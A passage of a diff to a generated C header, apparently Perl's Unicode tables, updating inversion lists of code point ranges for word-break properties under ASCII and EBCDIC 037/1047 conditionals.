@@ -88245,8 +357032,6 @@
 	0xAA5A,
 	0xABF0,
 	0xABFA,
-	0xFF10,
-	0xFF1A,
 	0x104A0,
 	0x104AA,
 	0x11066,
@@ -88273,6 +357058,8 @@
 	0x118EA,
 	0x11C50,
 	0x11C5A,
+	0x11D50,
+	0x11D5A,
 	0x16A60,
 	0x16A6A,
 	0x16B50,
@@ -88283,19 +357070,234 @@
 	0x1E95A
 };
 
-static const UV XPosixGraph_invlist[] = { /* for EBCDIC 037 */
-	1287,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__NU_invlist[] = { /* for EBCDIC 037 */
+	111,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x42,
-	0xFF,
-	0x100,
+	0xF0,
+	0xFA,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66C,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__SQ_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x27,
+	0x28
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__SQ_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__SQ_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */
+	1499,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA,
+	0xE,
+	0x22,
+	0x23,
+	0x27,
+	0x28,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x2F,
+	0x30,
+	0x3C,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0x85,
+	0x86,
+	0xAA,
+	0xAB,
+	0xAD,
+	0xAE,
+	0xB5,
+	0xB6,
+	0xB7,
+	0xB8,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x375,
+	0x376,
 	0x378,
 	0x37A,
 	0x380,
-	0x384,
+	0x386,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -88302,18 +357304,28 @@
 	0x38E,
 	0x3A2,
 	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
-	0x560,
+	0x55A,
 	0x561,
 	0x588,
 	0x589,
-	0x58B,
-	0x58D,
-	0x590,
+	0x58A,
 	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
 	0x5C8,
 	0x5D0,
 	0x5EB,
@@ -88320,28 +357332,52 @@
 	0x5F0,
 	0x5F5,
 	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
 	0x61D,
-	0x61E,
-	0x70E,
+	0x620,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
 	0x70F,
 	0x74B,
 	0x74D,
 	0x7B2,
 	0x7C0,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
 	0x7FB,
 	0x800,
 	0x82E,
-	0x830,
-	0x83F,
 	0x840,
 	0x85C,
-	0x85E,
-	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
 	0x984,
 	0x985,
 	0x98D,
@@ -88368,7 +357404,9 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
+	0x9F2,
 	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -88426,9 +357464,9 @@
 	0xAE0,
 	0xAE4,
 	0xAE6,
-	0xAF2,
+	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -88456,7 +357494,9 @@
 	0xB5F,
 	0xB64,
 	0xB66,
-	0xB78,
+	0xB70,
+	0xB71,
+	0xB72,
 	0xB82,
 	0xB84,
 	0xB85,
@@ -88488,7 +357528,7 @@
 	0xBD7,
 	0xBD8,
 	0xBE6,
-	0xBFB,
+	0xBF0,
 	0xC00,
 	0xC04,
 	0xC05,
@@ -88513,7 +357553,7 @@
 	0xC64,
 	0xC66,
 	0xC70,
-	0xC78,
+	0xC80,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -88541,7 +357581,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -88548,16 +357588,18 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD50,
+	0xD4F,
 	0xD54,
+	0xD58,
+	0xD5F,
 	0xD64,
 	0xD66,
+	0xD70,
+	0xD7A,
 	0xD80,
 	0xD82,
 	0xD84,
@@ -88582,60 +357624,68 @@
 	0xDE6,
 	0xDF0,
 	0xDF2,
-	0xDF5,
-	0xE01,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
 	0xE3B,
-	0xE3F,
-	0xE5C,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xEB1,
+	0xEB2,
+	0xEB4,
 	0xEBA,
 	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
+	0xEBD,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
-	0xEDC,
-	0xEE0,
 	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
 	0xF48,
 	0xF49,
 	0xF6D,
 	0xF71,
+	0xF85,
+	0xF86,
 	0xF98,
 	0xF99,
 	0xFBD,
-	0xFBE,
-	0xFCD,
-	0xFCE,
-	0xFDB,
-	0x1000,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x109E,
+	0x10A0,
 	0x10C6,
 	0x10C7,
 	0x10C8,
@@ -88642,6 +357692,8 @@
 	0x10CD,
 	0x10CE,
 	0x10D0,
+	0x10FB,
+	0x10FC,
 	0x1249,
 	0x124A,
 	0x124E,
@@ -88674,18 +357726,22 @@
 	0x1318,
 	0x135B,
 	0x135D,
-	0x137D,
+	0x1360,
 	0x1380,
-	0x139A,
+	0x1390,
 	0x13A0,
 	0x13F6,
 	0x13F8,
 	0x13FE,
-	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
 	0x1680,
 	0x1681,
-	0x169D,
+	0x169B,
 	0x16A0,
+	0x16EB,
+	0x16EE,
 	0x16F9,
 	0x1700,
 	0x170D,
@@ -88692,7 +357748,7 @@
 	0x170E,
 	0x1715,
 	0x1720,
-	0x1737,
+	0x1735,
 	0x1740,
 	0x1754,
 	0x1760,
@@ -88701,13 +357757,13 @@
 	0x1771,
 	0x1772,
 	0x1774,
-	0x1780,
+	0x17B4,
+	0x17D4,
+	0x17DD,
 	0x17DE,
 	0x17E0,
 	0x17EA,
-	0x17F0,
-	0x17FA,
-	0x1800,
+	0x180B,
 	0x180F,
 	0x1810,
 	0x181A,
@@ -88723,21 +357779,13 @@
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1940,
-	0x1941,
-	0x1944,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
+	0x1946,
+	0x1950,
 	0x19D0,
-	0x19DB,
-	0x19DE,
+	0x19DA,
+	0x1A00,
 	0x1A1C,
-	0x1A1E,
+	0x1A55,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
@@ -88745,30 +357793,30 @@
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
-	0x1AA0,
-	0x1AAE,
 	0x1AB0,
 	0x1ABF,
 	0x1B00,
 	0x1B4C,
 	0x1B50,
-	0x1B7D,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
 	0x1B80,
 	0x1BF4,
-	0x1BFC,
+	0x1C00,
 	0x1C38,
-	0x1C3B,
+	0x1C40,
 	0x1C4A,
 	0x1C4D,
+	0x1C7E,
+	0x1C80,
 	0x1C89,
-	0x1CC0,
-	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
+	0x1CD3,
+	0x1CD4,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -88790,62 +357838,104 @@
 	0x1F80,
 	0x1FB5,
 	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
 	0x1FC5,
 	0x1FC6,
+	0x1FCD,
+	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FDC,
-	0x1FDD,
-	0x1FF0,
+	0x1FE0,
+	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FFF,
-	0x200B,
-	0x2028,
-	0x202A,
-	0x202F,
+	0x1FFD,
+	0x200C,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
 	0x2030,
-	0x205F,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2054,
+	0x2055,
 	0x2060,
 	0x2065,
 	0x2066,
+	0x2070,
+	0x2071,
 	0x2072,
-	0x2074,
-	0x208F,
+	0x207F,
+	0x2080,
 	0x2090,
 	0x209D,
-	0x20A0,
-	0x20BF,
 	0x20D0,
 	0x20F1,
-	0x2100,
-	0x218C,
-	0x2190,
-	0x23FF,
-	0x2400,
-	0x2427,
-	0x2440,
-	0x244B,
-	0x2460,
-	0x2B74,
-	0x2B76,
-	0x2B96,
-	0x2B98,
-	0x2BBA,
-	0x2BBD,
-	0x2BC9,
-	0x2BCA,
-	0x2BD2,
-	0x2BEC,
-	0x2BF0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
+	0x2CE5,
+	0x2CEB,
 	0x2CF4,
-	0x2CF9,
+	0x2D00,
 	0x2D26,
 	0x2D27,
 	0x2D28,
@@ -88854,7 +357944,7 @@
 	0x2D30,
 	0x2D68,
 	0x2D6F,
-	0x2D71,
+	0x2D70,
 	0x2D7F,
 	0x2D97,
 	0x2DA0,
@@ -88874,71 +357964,81 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3001,
-	0x3040,
-	0x3041,
-	0x3097,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
 	0x3099,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x3190,
+	0x31A0,
 	0x31BB,
-	0x31C0,
-	0x31E4,
 	0x31F0,
-	0x321F,
-	0x3220,
+	0x3200,
+	0x32D0,
 	0x32FF,
 	0x3300,
-	0x4DB6,
-	0x4DC0,
-	0x9FD6,
+	0x3358,
 	0xA000,
 	0xA48D,
-	0xA490,
-	0xA4C7,
 	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
 	0xA62C,
 	0xA640,
-	0xA6F8,
-	0xA700,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA82C,
-	0xA830,
-	0xA83A,
+	0xA828,
 	0xA840,
-	0xA878,
+	0xA874,
 	0xA880,
 	0xA8C6,
-	0xA8CE,
+	0xA8D0,
 	0xA8DA,
 	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
 	0xA8FE,
 	0xA900,
+	0xA92E,
+	0xA930,
 	0xA954,
-	0xA95F,
+	0xA960,
 	0xA97D,
 	0xA980,
-	0xA9CE,
+	0xA9C1,
 	0xA9CF,
 	0xA9DA,
-	0xA9DE,
-	0xA9FF,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
 	0xAA00,
 	0xAA37,
 	0xAA40,
@@ -88945,9 +358045,21 @@
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA5C,
-	0xAAC3,
-	0xAADB,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -88962,6 +358074,8 @@
 	0xAB30,
 	0xAB66,
 	0xAB70,
+	0xABEB,
+	0xABEC,
 	0xABEE,
 	0xABF0,
 	0xABFA,
@@ -88971,15 +358085,13 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xE000,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB29,
+	0xFB2A,
 	0xFB37,
 	0xFB38,
 	0xFB3D,
@@ -88990,23 +358102,29 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBC2,
+	0xFBB2,
 	0xFBD3,
-	0xFD40,
+	0xFD3E,
 	0xFD50,
 	0xFD90,
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFE,
+	0xFDFC,
 	0xFE00,
-	0xFE1A,
+	0xFE11,
+	0xFE13,
+	0xFE15,
 	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE51,
+	0xFE52,
 	0xFE53,
 	0xFE54,
-	0xFE67,
-	0xFE68,
-	0xFE6C,
+	0xFE56,
 	0xFE70,
 	0xFE75,
 	0xFE76,
@@ -89013,7 +358131,21 @@
 	0xFEFD,
 	0xFEFF,
 	0xFF00,
-	0xFF01,
+	0xFF07,
+	0xFF08,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -89023,12 +358155,8 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFE0,
-	0xFFE7,
-	0xFFE8,
-	0xFFEF,
 	0xFFF9,
-	0xFFFE,
+	0xFFFC,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -89043,17 +358171,9 @@
 	0x1005E,
 	0x10080,
 	0x100FB,
-	0x10100,
-	0x10103,
-	0x10107,
-	0x10134,
-	0x10137,
-	0x1018F,
-	0x10190,
-	0x1019C,
-	0x101A0,
-	0x101A1,
-	0x101D0,
+	0x10140,
+	0x10175,
+	0x101FD,
 	0x101FE,
 	0x10280,
 	0x1029D,
@@ -89060,18 +358180,20 @@
 	0x102A0,
 	0x102D1,
 	0x102E0,
-	0x102FC,
+	0x102E1,
 	0x10300,
-	0x10324,
-	0x10330,
+	0x10320,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
 	0x10380,
 	0x1039E,
-	0x1039F,
+	0x103A0,
 	0x103C4,
 	0x103C8,
+	0x103D0,
+	0x103D1,
 	0x103D6,
 	0x10400,
 	0x1049E,
@@ -89085,8 +358207,6 @@
 	0x10528,
 	0x10530,
 	0x10564,
-	0x1056F,
-	0x10570,
 	0x10600,
 	0x10737,
 	0x10740,
@@ -89105,25 +358225,23 @@
 	0x1083D,
 	0x1083F,
 	0x10856,
-	0x10857,
+	0x10860,
+	0x10877,
+	0x10880,
 	0x1089F,
-	0x108A7,
-	0x108B0,
 	0x108E0,
 	0x108F3,
 	0x108F4,
 	0x108F6,
-	0x108FB,
-	0x1091C,
-	0x1091F,
+	0x10900,
+	0x10916,
+	0x10920,
 	0x1093A,
-	0x1093F,
-	0x10940,
 	0x10980,
 	0x109B8,
-	0x109BC,
-	0x109D0,
-	0x109D2,
+	0x109BE,
+	0x109C0,
+	0x10A00,
 	0x10A04,
 	0x10A05,
 	0x10A07,
@@ -89136,27 +358254,23 @@
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
-	0x10A48,
-	0x10A50,
-	0x10A59,
+	0x10A40,
 	0x10A60,
-	0x10AA0,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
 	0x10AC0,
+	0x10AC8,
+	0x10AC9,
 	0x10AE7,
-	0x10AEB,
-	0x10AF7,
 	0x10B00,
 	0x10B36,
-	0x10B39,
+	0x10B40,
 	0x10B56,
-	0x10B58,
+	0x10B60,
 	0x10B73,
-	0x10B78,
+	0x10B80,
 	0x10B92,
-	0x10B99,
-	0x10B9D,
-	0x10BA9,
-	0x10BB0,
 	0x10C00,
 	0x10C49,
 	0x10C80,
@@ -89163,16 +358277,14 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x10CFA,
-	0x10D00,
-	0x10E60,
-	0x10E7F,
 	0x11000,
-	0x1104E,
-	0x11052,
+	0x11047,
+	0x11066,
 	0x11070,
 	0x1107F,
-	0x110C2,
+	0x110BB,
+	0x110BD,
+	0x110BE,
 	0x110D0,
 	0x110E9,
 	0x110F0,
@@ -89180,18 +358292,24 @@
 	0x11100,
 	0x11135,
 	0x11136,
-	0x11144,
+	0x11140,
 	0x11150,
+	0x11174,
+	0x11176,
 	0x11177,
 	0x11180,
-	0x111CE,
+	0x111C5,
+	0x111CA,
+	0x111CD,
 	0x111D0,
-	0x111E0,
-	0x111E1,
-	0x111F5,
+	0x111DB,
+	0x111DC,
+	0x111DD,
 	0x11200,
 	0x11212,
 	0x11213,
+	0x11238,
+	0x1123E,
 	0x1123F,
 	0x11280,
 	0x11287,
@@ -89202,7 +358320,7 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112AA,
+	0x112A9,
 	0x112B0,
 	0x112EB,
 	0x112F0,
@@ -89238,12 +358356,12 @@
 	0x11370,
 	0x11375,
 	0x11400,
+	0x1144B,
+	0x11450,
 	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
 	0x11480,
+	0x114C6,
+	0x114C7,
 	0x114C8,
 	0x114D0,
 	0x114DA,
@@ -89250,27 +358368,35 @@
 	0x11580,
 	0x115B6,
 	0x115B8,
+	0x115C1,
+	0x115D8,
 	0x115DE,
 	0x11600,
+	0x11641,
+	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
-	0x11660,
-	0x1166D,
 	0x11680,
 	0x116B8,
 	0x116C0,
 	0x116CA,
-	0x11700,
-	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
-	0x11740,
+	0x1173A,
 	0x118A0,
-	0x118F3,
+	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -89278,21 +358404,33 @@
 	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C46,
+	0x11C41,
 	0x11C50,
-	0x11C6D,
-	0x11C70,
+	0x11C5A,
+	0x11C72,
 	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
 	0x1246F,
-	0x12470,
-	0x12475,
 	0x12480,
 	0x12544,
 	0x13000,
@@ -89305,18 +358443,16 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
-	0x16A6E,
-	0x16A70,
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
-	0x16AF6,
+	0x16AF5,
 	0x16B00,
-	0x16B46,
+	0x16B37,
+	0x16B40,
+	0x16B44,
 	0x16B50,
 	0x16B5A,
-	0x16B5B,
-	0x16B62,
 	0x16B63,
 	0x16B78,
 	0x16B7D,
@@ -89328,13 +358464,9 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
-	0x17000,
-	0x187ED,
-	0x18800,
-	0x18AF3,
+	0x16FE2,
 	0x1B000,
-	0x1B002,
+	0x1B001,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -89343,20 +358475,20 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9C,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
 	0x1BCA4,
-	0x1D000,
-	0x1D0F6,
-	0x1D100,
-	0x1D127,
-	0x1D129,
-	0x1D1E9,
-	0x1D200,
-	0x1D246,
-	0x1D300,
-	0x1D357,
-	0x1D360,
-	0x1D372,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -89396,9 +358528,37 @@
 	0x1D552,
 	0x1D6A6,
 	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
 	0x1D7CC,
 	0x1D7CE,
-	0x1DA8C,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -89415,14 +358575,12 @@
 	0x1E02B,
 	0x1E800,
 	0x1E8C5,
-	0x1E8C7,
+	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
-	0x1E95E,
-	0x1E960,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -89489,952 +358647,769 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1EEF0,
-	0x1EEF2,
-	0x1F000,
-	0x1F02C,
-	0x1F030,
-	0x1F094,
-	0x1F0A0,
-	0x1F0AF,
-	0x1F0B1,
-	0x1F0C0,
-	0x1F0C1,
-	0x1F0D0,
-	0x1F0D1,
-	0x1F0F6,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
 	0x1F130,
-	0x1F16C,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
 	0x1F170,
-	0x1F1AD,
+	0x1F18A,
 	0x1F1E6,
-	0x1F203,
-	0x1F210,
-	0x1F23C,
-	0x1F240,
-	0x1F249,
-	0x1F250,
-	0x1F252,
-	0x1F300,
-	0x1F6D3,
-	0x1F6E0,
-	0x1F6ED,
-	0x1F6F0,
-	0x1F6F7,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F910,
-	0x1F91F,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
